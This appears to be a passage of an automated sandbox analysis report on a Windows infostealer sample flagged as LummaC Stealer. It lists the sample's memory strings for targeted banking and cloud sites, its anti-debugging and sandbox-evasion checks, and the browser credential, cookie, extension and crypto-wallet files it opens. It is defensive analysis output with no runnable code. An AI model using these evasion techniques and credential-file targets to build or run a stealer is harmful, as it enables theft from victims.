Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1374201702.0000000005417000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1374201702.0000000005417000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1374201702.0000000005417000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1374201702.000000000541C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1374201702.0000000005417000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1374201702.0000000005417000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1374201702.0000000005417000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1374201702.0000000005417000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1374201702.0000000005417000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1374201702.0000000005417000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1374201702.0000000005417000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1374201702.0000000005417000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000002.1474417694.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1358097927.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1472900843.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000002.1474645808.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1424640914.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1345748850.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1407562983.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1346393166.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW#\U
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1374201702.0000000005417000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1374201702.0000000005417000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1374201702.0000000005417000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1374201702.0000000005417000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1374201702.0000000005417000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000002.1473819840.0000000000790000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1374201702.0000000005417000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1374201702.0000000005417000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1374201702.0000000005417000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1374201702.0000000005417000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: NTICE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: SICE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Process queried: DebugPort	Jump to behavior

Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000002.1473819840.0000000000790000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: kcProgram Manager

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1427793171.0000000000E67000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1424472285.0000000000E67000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: r\MsMpeng.exe
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1442997618.000000000543D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1428206792.000000000543D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1424522219.00000000053D1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000002.1476753516.000000000543E000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1427755030.000000000543D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1472697046.000000000543D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1424200967.000000000543D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1427135592.000000000543D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe PID: 2120, type: MEMORYSTR
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe.5b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1473732640.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000002.1474743950.0000000000E45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ts","m":["*"],"z":"Wallets/Electrum","d":0,"fs":20971520},{"t":0,"p":"%appda
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000002.1474743950.0000000000E45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ,"p":"%appdata%\\ElectronCash\\wallets","m":["*"],"z":"Wallets/ElectronCash"
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000002.1474743950.0000000000E45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ger-print.fp","simple-storage.json","window-state.json"],"z":"Wallets/Binanc
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1373891441.0000000000E5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1407711648.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1424640914.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1407711648.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
